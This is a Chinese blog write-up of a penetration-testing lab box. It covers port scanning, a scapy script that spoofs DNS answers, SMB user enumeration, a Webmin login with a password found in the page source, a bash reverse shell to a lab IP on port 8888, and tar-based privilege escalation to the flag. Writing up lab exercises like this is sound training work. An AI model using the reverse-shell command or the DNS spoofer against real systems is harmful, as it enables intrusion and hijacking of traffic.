帝国突围改版box渗透

端口扫描,查找内网存活主机

image-20221003154847175

成功扫描到可疑IP 192.168.101.131

端口扫描

image-20221003154945889

进80端口审查元素可以看到密码:

image-20221004102955206

进10000和20000端口均为webmin的管理界面,推测密码与这个有关

image-20221004103035653

由于box开启smb服务,尝试连接smb服务器:

image-20221004103203896

发现失败,使用wireshark监听数据包,发现box想要请求vulnerablevm111.localdomain的IP地址,但网关返回NXDomain。

尝试搭建bind服务器,替换原有DNS服务器,添加解析记录vulnerablevm111.localdomain:

image-20221004103437060

配置虚拟机DNS:

image-20221004103542212

发现仍然失败,网关并未转发box的A记录请求给搭建的DNS服务器(192.168.101.129):

image-20221004103709145

既然网关不转发,那就自行搭建一个DNS数据包嗅探器,主动响应vulnerablevm111.localdomain的A记录请求:

# coding utf-8
import scapy.packet
from scapy.all import *
import socket
import threading

from scapy.layers.dns import DNS, DNSQR, DNSRR
from scapy.layers.inet import IP, UDP

# should end with a "."
domain = b'vulnerablevm111.localdomain'


def callback(pkt: scapy.packet.Packet):
    try:
        print(pkt.getlayer(DNS))
        if pkt.haslayer(DNS) and domain in pkt[DNS].qd.qname \
                and pkt[DNS].qr == 0:
            serverIp = pkt[IP].dst
            realResolverIp = pkt[IP].src
            serverPort = pkt[UDP].dport
            realResolverPort = pkt[UDP].sport
            queryName = pkt[DNS].qd.qname
            qid = pkt[DNS].id

            send(IP(src=serverIp, dst=realResolverIp)
                 / UDP(sport=serverPort, dport=realResolverPort)
                 / DNS(id=qid, qr=1, opcode='QUERY', aa=0, tc=0, rd=1, ra=0, z=0, ad=0, cd=0, rcode='ok', qdcount=1,
                       ancount=1, nscount=0, arcount=0,
                       qd=(DNSQR(qname=queryName, qtype='A')),
                       an=(DNSRR(rrname=queryName, ttl=3600, type='A', rdata='192.168.101.131'))))
            print('send ok')
    except Exception as e:
        traceback.print_exc()


def port53Listen():
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        udp_socket.bind(("", 53))
    except OSError:
        # another service is using port 53, which should be fine
        return
    while True:
        udp_socket.recvfrom(0)


# if os.geteuid() != 0:
#     print('Please run in root')
#     exit(1)

# stop named service in case it will affect our response
# os.system('service named stop')

# open 53 port
t = threading.Thread(target=port53Listen)
t.daemon = True
t.start()

flt = 'udp dst port 53'
print(f'start listen, filter: {flt}')
# start 53 port listen and response
sniff(prn=callback, filter=flt, iface='VMware Network Adapter VMnet8')

image-20221004103912288

image-20221004103930595

成功收到服务器响应。

使用enum4linux遍历smb用户:

image-20221004104103360

image-20221004104124009

发现用户名:masterchef

使用之前获取的密码broccoli登录webmin,发现20000端口可以进入:

左下角进入webmin终端,发现一个welcome.txt文件

image-20221004104359238

尝试使用bash反弹shell:

box执行:

bash -c 'exec bash -i &>/dev/tcp/192.168.101.128/8888 <&1'

image-20221004105011720

image-20221004104943999

kali nc嗅探,得到shell

image-20221004105159863

tar文件可执行

image-20221004105504835

进入var文件夹,发现backups下面有文件:

image-20221004110233988

image-20221004110302774

里面有一串字符串:Ts&4&YurgtRX(=~h

怀疑是root密码,尝试登录root:

image-20221004112235238

登录失败,怀疑该备份文件与之前的tar程序有关,尝试使用tar程序压缩和解压这个文件:

image-20221004112415999

image-20221004112455908

获取到另一个密码:

image-20221004112444857

成功获取到flag:FLAG{UH0H_1_H4V3_B33N_3XP053D!1!1@@}

image-20221004112553564

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

CCF小彤

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值